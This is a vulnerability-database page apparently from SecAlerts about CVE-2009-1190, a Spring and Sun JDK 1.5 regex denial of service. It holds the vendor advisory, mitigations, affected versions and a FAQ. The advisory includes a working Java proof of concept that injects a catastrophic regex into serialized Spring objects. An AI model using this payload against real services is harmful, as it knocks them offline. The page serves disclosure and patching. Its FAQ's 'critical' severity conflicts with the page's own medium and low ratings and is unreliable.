CVE-2009-1190: Medium severity java development kit (jdk) vulnerability

Published Apr 22, 2009
·
Updated

Algorithmic complexity vulnerability in the java.util.regex.Pattern.compile method in Sun Java Development Kit (JDK) before 1.6, when used with spring.jar in SpringSource Spring Framework 1.1.0 through 2.5.6 and 3.0.0.M1 through 3.0.0.M2 and dm Server 1.0.0 through 1.0.2, allows remote attackers to cause a denial of service (CPU consumption) via serializable data with a long regex string containing multiple optional groups, a related issue to CVE-2004-2540.

Other sources

CVE-2009-1190: Spring Framework Remote Denial of Service vulnerability

Severity: Low

Vendor: SpringSource

Versions Affected: Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2 dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6 JDK)

Description: The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with exponential compilation times, when using optional groups. A workaround [3] was

implemented in 1.4.206 but the root cause of poor performance in regex processing was not resolved until JDK 1.6. JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven application with spring.jar in its classpath accepts serializable data, an attacker could use a long

regex string with many optional groups to consume enormous CPU resources. And, with a few requests all listeners will be occupied with compiling regex

expressions forever.

Mitigation: - Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for the root cause - Spring Framework 2.5.6.SEC01 has been released for Community users that includes a workaround to the root cause - Spring Framework 2.5.6.SR2 is available for Enterprise users that includes a workaround to the root cause - Disable functionality that accepts serializable data from untrusted sources - dm Server 1.0.3 that includes a workaround to the root cause will be released shortly - Instrumented Spring Framework 2.5.6.SR2 that includes a workaround to the root cause will be released shortly

Example: public class DoSSpring {

static byte[] getSerialized(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.flush(); oos.close(); return baos.toByteArray(); }

public static void main(String[] a) throws Exception{ String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" + "?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" + "?(W)?(I)?(U)?(a)?$"; String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern; int length = longerPattern.length(); String fakePattern = longerPattern.replaceAll(".", "A"); JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut(); jrmp.setPattern(fakePattern); System.out.println(jrmp); byte[] theArray = getSerialized(jrmp); int i = 0; for (; i< theArray.length;i++) { if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) { break; } } System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length); ByteArrayInputStream bis = new ByteArrayInputStream(theArray); ObjectInputStream ois = new ObjectInputStream(bis); Object o = ois.readObject(); // returns after a very very long time } }

Credit: This issue was discovered by the RedHat Security Response Team

References: [1] http://www.packetstormsecurity.org/hitb06/DAY1-MarcSchoenefeld-PentestingJavaJ2EE.pdf [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540 [3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html

Red Hat

Affected Software

173 affected components
Sun JDK<=1.5.0
Sun JDK=1.1.0
Sun JDK=1.1.6
Sun JDK=1.1.6-update7
Sun JDK=1.1.7b
Sun JDK=1.1.7b-update5
Sun JDK=1.1.8-update10
Sun JDK=1.1.8-update13
Sun JDK=1.1.8-update14
Sun JDK=1.1.8-update2
Sun JDK=1.1.8-update7
Sun JDK=1.1.8-update8
Sun JDK=1.2.0
Sun JDK=1.2.1
Sun JDK=1.2.1-update3
Sun JDK=1.2.2-update4
Sun JDK=1.2.2-update5
Sun JDK=1.3.0
Sun JDK=1.3.0_01
Sun JDK=1.3.0_02
Sun JDK=1.3.0_03
Sun JDK=1.3.0_04
Sun JDK=1.3.0_05
Sun JDK=1.3.1
Sun JDK=1.3.1-update19
Sun JDK=1.3.1-update20
Sun JDK=1.3.1_01
Sun JDK=1.3.1_01a
Sun JDK=1.3.1_02
Sun JDK=1.3.1_03
Sun JDK=1.3.1_04
Sun JDK=1.3.1_05
Sun JDK=1.3.1_06
Sun JDK=1.3.1_07
Sun JDK=1.3.1_08
Sun JDK=1.3.1_09
Sun JDK=1.3.1_10
Sun JDK=1.3.1_11
Sun JDK=1.3.1_12
Sun JDK=1.3.1_13
Sun JDK=1.3.1_14
Sun JDK=1.3.1_15
Sun JDK=1.3.1_16
Sun JDK=1.3.1_17
Sun JDK=1.3.1_18
Sun JDK=1.3.1_19
Sun JDK=1.3.1_20
Sun JDK=1.3.1_21
Sun JDK=1.3.1_22
Sun JDK=1.3.1_23
Sun JDK=1.3.1_24
Sun JDK=1.3.1_25
Sun JDK=1.3.1_26
Sun JDK=1.3.1_27
Sun JDK=1.3.1_28
Sun JDK=1.4.0
Sun JDK=1.4.0_01
Sun JDK=1.4.0_02
Sun JDK=1.4.0_03
Sun JDK=1.4.0_04
Sun JDK=1.4.1
Sun JDK=1.4.1_01
Sun JDK=1.4.1_02
Sun JDK=1.4.1_03
Sun JDK=1.4.1_04
Sun JDK=1.4.1_05
Sun JDK=1.4.1_06
Sun JDK=1.4.1_07
Sun JDK=1.4.2
Sun JDK=1.4.2_1
Sun JDK=1.4.2_2
Sun JDK=1.4.2_3
Sun JDK=1.4.2_4
Sun JDK=1.4.2_5
Sun JDK=1.4.2_6
Sun JDK=1.4.2_7
Sun JDK=1.4.2_8
Sun JDK=1.4.2_9
Sun JDK=1.4.2_10
Sun JDK=1.4.2_11
Sun JDK=1.4.2_12
Sun JDK=1.4.2_13
Sun JDK=1.4.2_14
Sun JDK=1.4.2_15
Sun JDK=1.4.2_16
Sun JDK=1.4.2_17
Sun JDK=1.4.2_18
Sun JDK=1.4.2_19
Sun JDK=1.5.0
Sun JDK=1.5.0-update_1
Sun JDK=1.5.0-update_10
Sun JDK=1.5.0-update_11
Sun JDK=1.5.0-update_12
Sun JDK=1.5.0-update_13
Sun JDK=1.5.0-update_14
Sun JDK=1.5.0-update_15
Sun JDK=1.5.0-update_16
Sun JDK=1.5.0-update_17
Sun JDK=1.5.0-update_18
Sun JDK=1.5.0-update_19
Sun JDK=1.5.0-update_2
Sun JDK=1.5.0-update_20
Sun JDK=1.5.0-update_21
Sun JDK=1.5.0-update_3
Sun JDK=1.5.0-update_4
Sun JDK=1.5.0-update_5
Sun JDK=1.5.0-update_6
Sun JDK=1.5.0-update_7
Sun JDK=1.5.0-update_8
Sun JDK=1.5.0-update_9
Sun JDK=1.5.0-update1
Sun JDK=1.5.0-update10
Sun JDK=1.5.0-update11
Sun JDK=1.5.0-update11_b03
Sun JDK=1.5.0-update12
Sun JDK=1.5.0-update13
Sun JDK=1.5.0-update14
Sun JDK=1.5.0-update15
Sun JDK=1.5.0-update16
Sun JDK=1.5.0-update17
Sun JDK=1.5.0-update18
Sun JDK=1.5.0-update19
Sun JDK=1.5.0-update2
Sun JDK=1.5.0-update20
Sun JDK=1.5.0-update21
Sun JDK=1.5.0-update22
Sun JDK=1.5.0-update23
Sun JDK=1.5.0-update24
Sun JDK=1.5.0-update25
Sun JDK=1.5.0-update3
Sun JDK=1.5.0-update4
Sun JDK=1.5.0-update5
Sun JDK=1.5.0-update6
Sun JDK=1.5.0-update7
Sun JDK=1.5.0-update7_b03
Sun JDK=1.5.0-update8
Sun JDK=1.5.0-update9
Sun JDK=1.5.0_03
Sun JDK=1.5.0_03
SpringSource dm Server=1.0.0
SpringSource dm Server=1.0.1
SpringSource dm Server=1.0.2
SpringSource Spring Framework=1.1.0
SpringSource Spring Framework=2.0
SpringSource Spring Framework=2.0-m1
SpringSource Spring Framework=2.0-m2
SpringSource Spring Framework=2.0-m3
SpringSource Spring Framework=2.0-m4
SpringSource Spring Framework=2.0-m5
SpringSource Spring Framework=2.0-rc1
SpringSource Spring Framework=2.0-rc2
SpringSource Spring Framework=2.0-rc3
SpringSource Spring Framework=2.0-rc4
SpringSource Spring Framework=2.0.1
SpringSource Spring Framework=2.0.2
SpringSource Spring Framework=2.0.3
SpringSource Spring Framework=2.0.4
SpringSource Spring Framework=2.0.5
SpringSource Spring Framework=2.1-m1
SpringSource Spring Framework=2.1-m2
SpringSource Spring Framework=2.1-m3
SpringSource Spring Framework=2.1-m4
SpringSource Spring Framework=2.5.0
SpringSource Spring Framework=2.5.0-rc1
SpringSource Spring Framework=2.5.0-rc2
SpringSource Spring Framework=2.5.1
SpringSource Spring Framework=2.5.2
SpringSource Spring Framework=2.5.3
SpringSource Spring Framework=2.5.4
SpringSource Spring Framework=2.5.5
SpringSource Spring Framework=2.5.6
SpringSource Spring Framework=3.0.0-m1
SpringSource Spring Framework=3.0.0-m2

Event History

Apr 22, 2009
CVE Published
via Red Hat·12:00 AM
Data Sourced
via Red Hat·12:00 AM
RemedyDescriptionSeverity
Data Sourced
via Red Hat·03:25 PM
Affected Software
Apr 27, 2009
CVE Published
via MITRE·10:00 PM
Data Sourced
via MITRE·10:00 PM
Description
Data Sourced
10:30 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2009-1190?

CVE-2009-1190 is rated as critical due to its potential to allow remote attackers to perform denial of service attacks via crafted regular expressions.

2

How do I fix CVE-2009-1190?

To fix CVE-2009-1190, update Sun JDK to version 1.6 or later, or use the patched version of affected Spring Framework releases.

3

Which software versions are affected by CVE-2009-1190?

CVE-2009-1190 affects Sun JDK versions prior to 1.6 and specific versions of Spring Framework from 1.1.0 to 2.5.6.

4

What type of vulnerability is CVE-2009-1190?

CVE-2009-1190 is an algorithmic complexity vulnerability that targets the regular expression processing in Java.

5

Who is impacted by CVE-2009-1190?

Users of affected Sun JDK versions prior to 1.6, especially those utilizing Spring Framework within their applications, are at risk.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203